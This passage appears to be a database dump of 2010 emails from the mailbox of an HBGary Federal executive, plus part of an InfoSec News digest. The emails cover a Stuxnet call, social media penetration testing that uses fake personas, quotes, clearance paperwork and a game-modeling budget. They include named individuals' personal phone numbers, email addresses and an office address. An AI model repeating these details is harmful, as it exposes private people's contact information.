and Friday as it temporarily \r\nbecame difficult for people to access their websites, government \r\nofficials said.\r\n\r\nThe government is looking into the attacks given that a hackersâ€™ group \r\nviewed as the largest in China has said it will attack Japanese \r\ngovernment websites through Saturday in protest over Tokyoâ€™s handling of \r\nthe collisions last week between a Chinese fishing boat and Japan Coast \r\nGuard patrol boats near disputed East China Sea islands.\r\n\r\nThe method of attack is believed to be the so-called distributed denial \r\nof service attacks in which hackers send massive data to a target \r\nwebsite and make it unable to respond or function promptly, the official \r\nsaid.\r\n\r\nThe Internal Affairs and Communications Ministry and the Education, \r\nCulture, Sports, Science and Technology Ministry have called on \r\nmunicipal governments and public universities across Japan to increase \r\nsurveillance of their websites and check their responses in case hackers \r\nlaunch an attack on their sites.\r\n\r\n[...]\r\n\r\n\r\n------------------------------\r\n\r\nMessage: 2\r\nDate: Mon, 20 Sep 2010 00:46:03 -0500 (CDT)\r\nFrom: InfoSec News \r\nSubject: [ISN] MI5 chief: Cyber spying \'relatively straightforward\' to\r\n	beat \r\nTo: isn@infosecnews.org\r\nMessage-ID:\r\n	\r\nContent-Type: TEXT/PLAIN; charset=US-ASCII\r\n\r\nhttp://www.theregister.co.uk/2010/09/17/mi5_cyber/\r\n\r\nBy Chris Williams \r\nThe Register\r\n17th September 2010\r\n\r\nJonathan Evans, the head of MI5, has claimed the internet has made the \r\nthreat of espionage by foreign countries higher than ever before, but \r\ninsisted it is \"relatively straightforward\" to block attempts to steal \r\ndata.\r\n\r\n\"The overall likelihood of any particular entity being the subject of \r\nstate espionage has probably never been higher, though paradoxically \r\nmany of the vulnerabilities exploited both in cyber espionage and \r\ntraditional espionage are relatively straightforward to plug if you are \r\naware of them,\" he said.\r\n\r\nThe common sense call is relevant to ongoing work by the year-old Office \r\nof Cyber Security in the Cabinet Office to improve basic information \r\nsecurity across government and in businesses.\r\n\r\nMI5, officially known as the Security Service, is responsible for \r\ncounter-espionage. Evans has previously written to the bosses of big \r\nBritish companies to warn them of the threat online, particularly from \r\nhackers with links to the Chinese intelligence services.\r\n\r\nCyber security is a key issue for the ongoing Strategic Defence and \r\nSecurity Review, which is due to report next month. Following the first \r\nnational Cyber Security Strategy last year, efforts to protect UK \r\nnetworks and data are expected to receive a large budget boost, against \r\na background of cuts to other areas of defence and security.\r\n\r\n[...]\r\n\r\n\r\n\r\n\r\n------------------------------\r\n\r\nMessage: 3\r\nDate: Mon, 20 Sep 2010 00:46:20 -0500 (CDT)\r\nFrom: InfoSec News \r\nSubject: [ISN] MfD: BIS offers \"tax-free money\" for encryption system \r\nTo: isn@infosecnews.org\r\nMessage-ID:\r\n	\r\nContent-Type: TEXT/PLAIN; charset=US-ASCII\r\n\r\nhttp://www.praguemonitor.com/2010/09/14/mfd-bis-offers-tax-free-money-encryption-system\r\n\r\nCzech News Agency\r\n14 September 2010\r\n\r\nPrague, Sept 13 (CTK) - The Czech counter-intelligence service (BIS) has \r\noffered \"tax-free money\" to the CircleTech private firm for an \r\nencryption system, the daily Mlada fronta Dnes (MfD) writes Monday.\r\n\r\nCircleTech co-owner Jiri Satanek succeeded in recording three meetings \r\nwith BIS officers secretly, the paper adds.\r\n\r\nBIS spokesman Jan Subert told MfD that the service would investigate the \r\ncase.\r\n\r\nCircleTech is developing and selling programmes for mobile phones that \r\nenable to encrypt SMS text messages and phone calls, which complicates \r\nthe work of the police and secrete services.\r\n\r\nBIS met the firm\'s representatives five times in various restaurants in \r\nPrague, MfD says.\r\n\r\nBIS officers first offered to Satanek that his firm would supply an \r\nencryption system with \"a defect\" to the market which would help the \r\nsecret service find out the content of encrypted messages.\r\n\r\n[...]\r\n\r\n\r\n\r\n\r\n------------------------------\r\n\r\nMessage: 4\r\nDate: Mon, 20 Sep 2010 00:46:33 -0500 (CDT)\r\nFrom: InfoSec News \r\nSubject: [ISN] Cyber-criminals steal identity of one of the world\'s\r\n	top security chiefs using Facebook \r\nTo: isn@infosecnews.org\r\nMessage-ID:\r\n	\r\nContent-Type: TEXT/PLAIN; charset=US-ASCII\r\n\r\nhttp://www.dailymail.co.uk/news/worldnews/article-1313381/Cyber-crooks-steal-identity-Ronald-K-Noble-worlds-security-chief--FACEBOOK.html\r\n\r\nBy Daily Mail Reporter\r\n19th September 2010\r\n\r\nThe head of Interpol has warned that cybercrime is the \'most dangerous \r\ncriminal threat we will ever face\' after fraudsters stole his identity \r\non Facebook.\r\n\r\nSecurity chief Ronald K. Noble revealed that two fake accounts were \r\ncreated in his name and used to find the details of highly-dangerous \r\ncriminals.\r\n\r\nThe embarrassing security breach saw one of the impersonators used the \r\nfalse profile to obtain information on fugitives convicted of serious \r\ncrimes including rape and murder.\r\n\r\nThe police chief has now warned that there could be devastating \r\nconsequences of a terrorist cyber attack as he addressed officials at \r\nthe first Interpol Information Security Conference in Hong Kong.\r\n\r\nHe said: \'Just recently Interpol\'s Information Security Incident \r\nResponse Team discovered two Facebook profiles attempting to assume my \r\nidentity as Interpol\'s secretary general.\r\n\r\n[...]\r\n\r\n\r\n\r\n\r\n------------------------------\r\n\r\nMessage: 5\r\nDate: Mon, 20 Sep 2010 00:46:45 -0500 (CDT)\r\nFrom: InfoSec News \r\nSubject: [ISN] ACCU/Bletchley Autumn Lectures 2010  \r\nTo: isn@infosecnews.org\r\nMessage-ID:\r\n	\r\nContent-Type: TEXT/PLAIN; charset=US-ASCII\r\n\r\nhttp://www.regonline.co.uk/builder/site/Default.aspx?eventid=890253\r\n\r\nACCU/Bletchley Autumn Lectures 2010\r\nSaturday, 06 November 2010 08:30 - 19:00\r\n\r\nBletchley Park\r\nThe Mansion\r\nBletchley Park\r\nMilton Keynes\r\nMK3 6EB\r\n\r\nACCU is proud to announce its 2010 Security Conference at Bletchley Park\r\n\r\nAll the proceeds from this conference will be shared equally between the \r\nBletchley Park Trust and The National Museum of Computing to help with \r\nthe upkeep of the Bletchley Park site, and to support the Museum.\r\n\r\nEach year the ACCU organises a one day conference on security to raise \r\nmoney for the Bletchley Park Trust, the body which runs Bletchley Park, \r\nthe World War II UK cryptography centre where the legendary German \r\n\'Enigma\' code was first cracked, and for The National Museum of \r\nComputing, also housed at Bletchley Park.\r\n\r\nThe four speakers at this year\'s conference have now been confirmed, and \r\nthey are Bruce Schneier, Whitfield Diffie, Andy Clark and David Khan, \r\nall well known figures to those in the programming and security \r\nindustries.\r\n\r\nBruce Schneier is one of the few people in the security industry whose \r\nname is familiar to those outside. A cryptographer and computer security \r\nspecialist, he is the author of \'Applied Cryptography\' one of the \r\nstandard texts used by progammers working to secure the programs they \r\nbuild. He writes a regular, popular, newsletter, \'Crypto-Gram,\' which \r\nnot only explains the issues in layman\'s terms, but also alerts readers \r\nto new and ongoing security problems. He is currently the founder and \r\nchief technology officer of BT Counterpane. His personal web site is \r\nhttp://www.schneier.com/.\r\n\r\nWhitfield Diffie is a Cryptographer and a pioneer of public-key \r\ncryptography. Together with Martin Hellman he developed the widely used \r\nDiffie-Hellman key exchange protocol, which allows cryptograghic keys to \r\nbe exchanged safely - one of the fundamental problems of cryptography. \r\nHe was, until recently, Chief Security Officer at Sun Microsystems, and \r\nis currently Vice President for Information Security and Cryptography at \r\nthe Internet Corporation for Assigned Names and Numbers (ICANN). We were \r\nunable to locate a personal web site for Whitfield Diffie - perhaps we \r\nshouldn\'t be surprised!\r\n\r\nAndy Clark is an internationally recognised expert on information \r\nsecurity and cryptography. He has worked in the field for four decades \r\nand is currently Head of Forensics at Detica. He is a Past President and \r\nnow a Fellow of the International Association for Cryptologic Research, \r\nand a Director and Trustee of The National Museum of Computing.\r\n\r\nDavid Kahn is an American historian of intelligence.  His best known \r\nbooks are The Codebreakers, the first serious history of cryptology, and \r\nSeizing the Enigma, the story of how the Royal Navy stole documents from \r\nGerman weather ships to enable Bletchley Park to read naval Enigma.\r\n\r\nLast year\'s speakers were Dr Tony Sale, leader of the team that \r\nreconstructed the original code-cracking Colossus machine, Phil \r\nZimmermann of Pretty Good Privacy fame, and author Simon Singh.\r\n\r\n\r\n\r\n\r\n------------------------------\r\n\r\n_______________________________________________________      \r\nSubscribe to InfoSec News - www.infosecnews.org\r\nhttp://www.infosecnews.org/mailman/listinfo/isn\r\n\r\nEnd of ISN Digest, Vol 53, Issue 12\r\n***********************************\r\n',8084,'aaron_hbgary_com/8084.html'),(12062,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008971.M421123P14101Q6917.eml','\"Greg Hoglund\" <greg@hbgary.com>','Stuxnet talk','Hey Greg,\r\n\r\nCan we talk tonight.  I need some of your time to talk about win7 and\r\nvista driver signing.  Also need to recap stuxnet.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',24,'aaron_hbgary_com/24.html'),(12063,'2010-09-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008971.M661308P14101Q6918.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Stuxnet talk','I\'m on the road so I\'ll be back later in the evening, might be late\r\nfor you.  How late can u talk?\r\n\r\n\r\nOn Monday, September 20, 2010, Aaron Barr  wrote:\r\n> Hey Greg,\r\n>\r\n> Can we talk tonight.  I need some of your time to talk about win7 and\r\n> vista driver signing.  Also need to recap stuxnet.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n',1840,'aaron_hbgary_com/1840.html'),(12064,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008971.M874255P14101Q6919.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Stuxnet talk','Give a call whenever you can I will be up preparing for trip to\r\ncincinnati tomorrow.  An agency has released an rfp asking certain\r\nquestions about driver signing, binary footprints, etc.  We have been\r\ndown selected to submit a proposal.  6 month study. 225k total.\r\n\r\nFunny.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Sep 20, 2010, at 4:32 PM, Greg Hoglund  wrote:\r\n\r\n> I\'m on the road so I\'ll be back later in the evening, might be late\r\n> for you.  How late can u talk?\r\n>\r\n>\r\n> On Monday, September 20, 2010, Aaron Barr  wrote:\r\n>> Hey Greg,\r\n>>\r\n>> Can we talk tonight.  I need some of your time to talk about win7 and\r\n>> vista driver signing.  Also need to recap stuxnet.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n',1437,'aaron_hbgary_com/1437.html'),(12065,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008972.M328636P14101Q6921.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>','Re: Attribution','ok lets plan on friday.\r\n\r\nAaron\r\n\r\nOn Sep 20, 2010, at 11:49 AM, Aaron Zollman wrote:\r\n\r\n> Matt and I are both booked all day today. Let\'s do Friday. \r\n> \r\n> -az\r\n> \r\n> On Sep 20, 2010, at 8:32 AM, Aaron Barr  wrote:\r\n> \r\n>> Hey Guys,\r\n>> \r\n>> Short notice I have to fly to Cincinnati tomorrow and will flying back Thursday.  Do you want to get together today or Friday?\r\n>> \r\n>> Aaron\r\n>> \r\n\r\n',15631,'aaron_hbgary_com/15631.html'),(12066,'2010-09-20','\"Belanger, Jon\" <jon.belanger@fidelissecurity.com>','/aaron@hbgary.com/new/1297008972.M579442P14101Q6922.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Scout','Hi Aaron,\r\n\r\nThe Scout is ready to be picked up.  Our address is 4416 East West Hwy,\r\nSte 310 (3rd floor), Bethesda, MD.  Guest parking in the building garage\r\nis available off of East West Hwy.  When you arrive, please pick up the\r\nlabeled handset, outside of the suite near the elevators, and someone\r\nwill let you in.\r\n\r\nIf you need to contact me, my cell phone is 240-344-9736.\r\n\r\nWhen do you think you\'ll be arriving?\r\n\r\nThanks,\r\nJon\r\n\r\n-----Original Message-----\r\nFrom: Sullivan, Mary \r\nSent: Monday, September 20, 2010 3:06 PM\r\nTo: Aaron Barr\r\nCc: Belanger, Jon\r\nSubject: Scout\r\n\r\nAaron,\r\nThe Scout is ready. Jon can facilitate pickup.\r\nMary\r\n\r\nSent from my mobile--excuse typos or brevity\r\n',2364,'aaron_hbgary_com/2364.html'),(12067,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008972.M806396P14101Q6923.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Training','Hi Daniel,\r\n\r\nA new quote is on its way.  Once you get a chance to review how about we get on the phone to discuss.  I think 1.5 hours is a minimum we would want to go.  2 hours is preferred but I think we can work with 1.5.  1 hour just isn\'t enough time to cover the general material and then cover the use cases, findings, protection.  Problem is there is always a varying degree of knowledge of the topic so first thing I have to do is discuss the landscape and where things are headed so they know its important and will become increasingly part of our lives so they don\'t dismiss it.  Then talk about use cases, info we got during the pen test and then protection at the end.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 20, 2010, at 10:14 AM, Daniel Collender wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Yes, I would like to conduct the social media pen testing followed by\r\n> the training.\r\n> \r\n> Can you send me an updated quote for the social media pen testing and\r\n> training?\r\n> \r\n> Regarding the training; we have two large conference rooms that can be\r\n> configured to support 25 or 50 people at a time. I think we will be\r\n> better served if we can hold multiple 25 person training session. Would\r\n> you or Ted provide the training? Also, is there any way we can do this\r\n> in 1, 1.5, or 2 hours? A two hour commitment may be difficult for 25\r\n> people at a time and will take awhile to train everyone. I would like to\r\n> hear your ideas about running several sessions over two or three days.\r\n> We won\'t be able to get everyone trained the first time but we can\r\n> certainly hit a good majority of our Longmont employees. \r\n> \r\n> I would appreciate your thoughts on the training configuration that\r\n> would be most effective. I would rather provide higher quality training\r\n> to a smaller audience rather than trying to rush everyone through it.\r\n> \r\n> Best,\r\n> Dan \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, September 20, 2010 8:06 AM\r\n> To: Daniel Collender\r\n> Subject: Training\r\n> \r\n> * PGP - S/MIME Signed: 9/20/2010 at 8:05:58 AM\r\n> \r\n> Hi Daniel,\r\n> \r\n> Just checking in on your thoughts on the training.  Ultimately is your\r\n> desire to conduct the social media pen testing along with the training,\r\n> or just the training.  If so is the social media pen testing something\r\n> we can start?  This takes a bit to set up the personas and work my way\r\n> in.  Wrapped into the training material I will then present some\r\n> statistics on how many boxes I would have been able to exploit (I\r\n> represent this by how many people I got to click a link or visit a page,\r\n> and the information I was able to gather.\r\n> \r\n> Aaron\r\n> \r\n> * Aaron Barr \r\n> * Issuer: \"VeriSign\r\n\r\n',989,'aaron_hbgary_com/989.html'),(12068,'2010-09-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008972.M97544P14101Q6920.eml','\"Barr Aaron\" <aaron@hbgary.com>','GoToMeeting Invitation - Meet Now','1.  Please join my meeting.\r\nhttps://www1.gotomeeting.com/join/412336481\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is\r\nrecommended. Or, call in using your telephone.\r\n\r\nDial 217-287-4116\r\nAccess Code: 412-336-481\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 412-336-481\r\n\r\nGoToMeeting®\r\nOnline Meetings Made Easy™\r\n',10835,'aaron_hbgary_com/10835.html'),(12069,'2010-09-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008973.M337424P14101Q6924.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>,\"Daniel Collender\" <dcollend@digitalglobe.com>','Revised Quote','Daniel,\r\n\r\nAttached is our revised quote and proposal for our Social Media &\r\nInformation Reconnaissance training.  All proposed training dates are\r\ntentative.  Please review and provide alternate dates as required.\r\n\r\nPlease feel free to contact myself or Aaron Barr (719-510-8478) if you\r\nhave any questions or would like to discuss.\r\n\r\nRegards,\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15104,'aaron_hbgary_com/15104.html'),(12070,'2010-09-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008973.M763575P14101Q6925.eml','\"Barr Aaron\" <aaron@hbgary.com>','Facility Clearance','Please sign this form (don\'t sign where I need to on the bottom) and\r\nreturn to me.  These are for our facility clearance.\r\n\r\nTed\r\n',13150,'aaron_hbgary_com/13150.html'),(12071,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008974.M236463P14101Q6926.eml','\"Zosh\" <mydocs@zosh.com>','Fwd: Facility Clearance','Sent from my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: Facility ClearancePlease sign this form (don&#39;t sign where I need to on the bottom) and\r\nreturn to me.  These are for our facility clearance.Ted\r\n',82,'aaron_hbgary_com/82.html'),(12072,'2010-09-20','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008974.M577647P14101Q6927.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Mon, Sep 20, \'10 at 10:22 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    e-fcl facility clearance system.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16090,'aaron_hbgary_com/16090.html'),(12073,'2010-09-20','\"Spring, Aaron I (IS)\" <AARON.SPRING@ngc.com>','/aaron@hbgary.com/new/1297008975.M318751P14101Q6929.eml','aaron@hbgary.com','Re: Offer','Aaron,\r\n\r\nRight now I\'m more interested in working with and for HB Gary. Please forward your offer as soon as you can. \r\n\r\nThanks.\r\n\r\nAaron\r\n\r\n\r\n',10734,'aaron_hbgary_com/10734.html'),(12074,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008975.M516433P14101Q6930.eml','\"Spring, Aaron I (IS)\" <AARON.SPRING@ngc.com>','Re: Offer','Rgr.  I understand will send tonight.  I just Ed to give everyone the\r\nopportunity depending on situation.\r\n\r\n:)\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 20, 2010, at 6:58 PM, \"Spring, Aaron I (IS)\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Right now I\'m more interested in working with and for HB Gary. Please forward your offer as soon as you can.\r\n>\r\n> Thanks.\r\n>\r\n> Aaron\r\n>\r\n>\r\n',9278,'aaron_hbgary_com/9278.html'),(12075,'2010-09-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008975.M736479P14101Q6931.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: need help with modeling speed expectations','Just spoke with Matt -- they are really interested in this and would\r\nlove to help...\r\n\r\nHave you heard anything from Greg?\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Sat, Sep 18, 2010 at 9:46 PM\r\nSubject: Fwd: need help with modeling speed expectations\r\nTo: Barr Aaron , Hoglund Greg \r\n\r\n\r\nGreg,\r\nMatt and Jeremiah worked for me at NG, they are incredibly talented.\r\nThey started a 3D animation company and are working it on the side\r\nwith permission from NG. They expressed interest in helping on this\r\nproject on the cheap, if they can get credit and add it to their\r\nunclassified portfolio. See Matts email below. Would you like to set\r\nup a call Monday to discuss?\r\nTed\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: matt_furman2005@yahoo.com\r\nDate: September 18, 2010 9:41:33 PM MDT\r\nTo: \"Ted Vera\" \r\nSubject: Re: Fwd: need help with modeling speed expectations\r\nReply-To: matt_furman2005@yahoo.com\r\n\r\nTed - if 50K is your complete budget for this - I can show you how\r\nmuch u should be able to achieve and still come under that number as a\r\nfinal. I\'d like to hear more about platform, distro plan, and\r\npre-development methods being employed. Is Mikiya the only modeler?\r\nWhat tiling method is he using? Are there any particle effects? Is the\r\nfinal game an rpg, an mmo, or a some type of scroller? Man, it sounds\r\nexciting, but I share Greg\'s concerns about building the game elements\r\nand NOT having it ina presentable form before your deadline. We should\r\ncompare notes and discuss. Got some time on Monday?\r\n\r\nSent from my BlackBerry Smartphone provided by Alltel\r\n\r\n________________________________\r\nFrom: Ted Vera \r\nDate: Sat, 18 Sep 2010 20:18:51 -0600\r\nTo: Matt Furman\r\nSubject: Fwd: need help with modeling speed expectations\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Aaron Barr \r\nDate: September 18, 2010 5:59:35 PM MDT\r\nTo: Ted Vera \r\nSubject: Fwd: need help with modeling speed expectations\r\n\r\nCan Jeremiah do better?\r\n\r\nSent from my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Greg Hoglund \r\nDate: September 18, 2010 7:54:52 PM EDT\r\nTo: Bob Slapnik , Aaron Barr \r\nSubject: need help with modeling speed expectations\r\n\r\n\r\nAaron, Bob,\r\n\r\nI am stressed a little bit because Mikiya is a bit slower than I\r\nexpected he would be.  He will be taking many days to complete a 3-D\r\nmodel...  we won\'t finish if that is the case...\r\n\r\nHere is an email I wrote to him:\r\n\r\n---> snip\r\nI have done some math.  With overhead, you cost me about $160/day.  I\r\nplan to spend about $20,000 on you over the first phase of this work.\r\nYou should put some thought into this - I think we need around 100\r\nmodels.  This means that each model should cost about $200 dollars.\r\nObviously this is contrived - some models will take longer and some\r\nwill be quick.  But, on average, that means you would need to produce\r\na new model approximately 1 per day.  I know that you said 2 days for\r\na character, and 5 days for the first house.  Can you explore this\r\nidea of doing 1 model per day - maybe by re-using basic components or\r\nby modifying an existing model you can get production up to 1 model\r\nper day?\r\n\r\nWe probably need at least 50 house/building models - many will be\r\nvariations of each other.  We will need about 20 characters all based\r\non human but with differing outfits, height, weight, and such.  These\r\ncharacter models will need 10 interchangeable hair styles, and at\r\nleast 20 different costume sets - these hair and costume sets are just\r\nsub-models swappable on the character.  Finally, we need tiles for\r\nterrain.  We need a city tile set and a wilderness tile set - these\r\nshould have around 6+ weldable tiles, some w/ roads and some without.\r\nIf you count all this up it should be around 100 models give or take.\r\nIf you could do one model per day it would be close...\r\n\r\nPlease think about this.  There might be ways to make this work, but\r\nyou can\'t build every model from scratch and take 3-4 days on each one\r\nif we are to make the deadline.\r\n\r\n<--- end snip\r\n\r\nDo you think my head is screwed on right, or that we just can\'t do\r\nthis on the initial 50 grand budget?  I don\'t know how mikiya will\r\nrespond to this 1 model per day request yet.  Also, do you think 100\r\nmodels is reasonable, or do you think we can get by w/ less?  Or, do\r\nyou think we need more than 100 models?\r\n\r\nAs you should be sensing, it is very important to me to stack the deck\r\ntowards success, I don\'t want to waste $50k and have an incomplete\r\nproject at the end we cannot demo...\r\n\r\n-Greg\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3110,'aaron_hbgary_com/3110.html'),(12076,'2010-09-20','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297008975.M88838P14101Q6928.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','',' \r\n\r\nExecuted with Zosh www.zosh.com.\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n',16166,'aaron_hbgary_com/16166.html'),(12077,'2010-09-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008975.M974936P14101Q6932.eml','\"Ted Vera\" <ted@hbgary.com>','Re: need help with modeling speed expectations','Yep Greg wants to talk to them.  I forwarded an email from Greg to\r\nmatt.  He didn\'t get it?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 20, 2010, at 7:18 PM, Ted Vera  wrote:\r\n\r\n> Just spoke with Matt -- they are really interested in this and would\r\n> love to help...\r\n>\r\n> Have you heard anything from Greg?\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Ted Vera \r\n> Date: Sat, Sep 18, 2010 at 9:46 PM\r\n> Subject: Fwd: need help with modeling speed expectations\r\n> To: Barr Aaron , Hoglund Greg \r\n>\r\n>\r\n> Greg,\r\n> Matt and Jeremiah worked for me at NG, they are incredibly talented.\r\n> They started a 3D animation company and are working it on the side\r\n> with permission from NG. They expressed interest in helping on this\r\n> project on the cheap, if they can get credit and add it to their\r\n> unclassified portfolio. See Matts email below. Would you like to set\r\n> up a call Monday to discuss?\r\n> Ted\r\n>\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: matt_furman2005@yahoo.com\r\n> Date: September 18, 2010 9:41:33 PM MDT\r\n> To: \"Ted Vera\" \r\n> Subject: Re: Fwd: need help with modeling speed expectations\r\n> Reply-To: matt_furman2005@yahoo.com\r\n>\r\n> Ted - if 50K is your complete budget for this - I can show you how\r\n> much u should be able to achieve and still come under that number as a\r\n> final. I\'d like to hear more about platform, distro plan, and\r\n> pre-development methods being employed. Is Mikiya the only modeler?\r\n> What tiling method is he using? Are there any particle effects? Is the\r\n> final game an rpg, an mmo, or a some type of scroller? Man, it sounds\r\n> exciting, but I share Greg\'s concerns about building the game elements\r\n> and NOT having it ina presentable form before your deadline. We should\r\n> compare notes and discuss. Got some time on Monday?\r\n>\r\n> Sent from my BlackBerry Smartphone provided by Alltel\r\n>\r\n> ________________________________\r\n> From: Ted Vera \r\n> Date: Sat, 18 Sep 2010 20:18:51 -0600\r\n> To: Matt Furman\r\n> Subject: Fwd: need help with modeling speed expectations\r\n>\r\n>\r\n>\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: Aaron Barr \r\n> Date: September 18, 2010 5:59:35 PM MDT\r\n> To: Ted Vera \r\n> Subject: Fwd: need help with modeling speed expectations\r\n>\r\n> Can Jeremiah do better?\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: Greg Hoglund \r\n> Date: September 18, 2010 7:54:52 PM EDT\r\n> To: Bob Slapnik , Aaron Barr \r\n> Subject: need help with modeling speed expectations\r\n>\r\n>\r\n> Aaron, Bob,\r\n>\r\n> I am stressed a little bit because Mikiya is a bit slower than I\r\n> expected he would be.  He will be taking many days to complete a 3-D\r\n> model...  we won\'t finish if that is the case...\r\n>\r\n> Here is an email I wrote to him:\r\n>\r\n> ---> snip\r\n> I have done some math.  With overhead, you cost me about $160/day.  I\r\n> plan to spend about $20,000 on you over the first phase of this work.\r\n> You should put some thought into this - I think we need around 100\r\n> models.  This means that each model should cost about $200 dollars.\r\n> Obviously this is contrived - some models will take longer and some\r\n> will be quick.  But, on average, that means you would need to produce\r\n> a new model approximately 1 per day.  I know that you said 2 days for\r\n> a character, and 5 days for the first house.  Can you explore this\r\n> idea of doing 1 model per day - maybe by re-using basic components or\r\n> by modifying an existing model you can get production up to 1 model\r\n> per day?\r\n>\r\n> We probably need at least 50 house/building models - many will be\r\n> variations of each other.  We will need about 20 characters all based\r\n> on human but with differing outfits, height, weight, and such.  These\r\n> character models will need 10 interchangeable hair styles, and at\r\n> least 20 different costume sets - these hair and costume sets are just\r\n> sub-models swappable on the character.  Finally, we need tiles for\r\n> terrain.  We need a city tile set and a wilderness tile set - these\r\n> should have around 6+ weldable tiles, some w/ roads and some without.\r\n> If you count all this up it should be around 100 models give or take.\r\n> If you could do one model per day it would be close...\r\n>\r\n> Please think about this.  There might be ways to make this work, but\r\n> you can\'t build every model from scratch and take 3-4 days on each one\r\n> if we are to make the deadline.\r\n>\r\n> \r\n> Do you think my head is screwed on right, or that we just can\'t do\r\n> this on the initial 50 grand budget?  I don\'t know how mikiya will\r\n> respond to this 1 model per day request yet.  Also, do you think 100\r\n> models is reasonable, or do you think we can get by w/ less?  Or, do\r\n> you think we need more than 100 models?\r\n>\r\n> As you should be sensing, it is very important to me to stack the deck\r\n> towards success, I don\'t want to waste $50k and have an incomplete\r\n> project at the end we cannot demo...\r\n>\r\n> -Greg\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',14864,'aaron_hbgary_com/14864.html'),(12078,'2010-09-21','\"Dan Woods\" <dwoods@palantir.com>','/aaron@hbgary.com/new/1297008976.M236326P14101Q6933.eml','aaron@hbgary.com,aaron@hbgary.com','RE: GovCon6 Booth','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nJust a quick heads up that we\r\nneed the final company descriptions and logo images by end of day tomorrow\r\n(Tuesday).&nbsp; If I don&#8217;t hear back, I&#8217;ll go with the same from last time.&nbsp; I\r\nhaven&#8217;t heard from you and wanted to send a second note just in case.\r\n\r\n&nbsp;\r\n\r\n-Dan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dan Woods \r\nSent: Wednesday, September 15, 2010 3:00 PM\r\nTo: 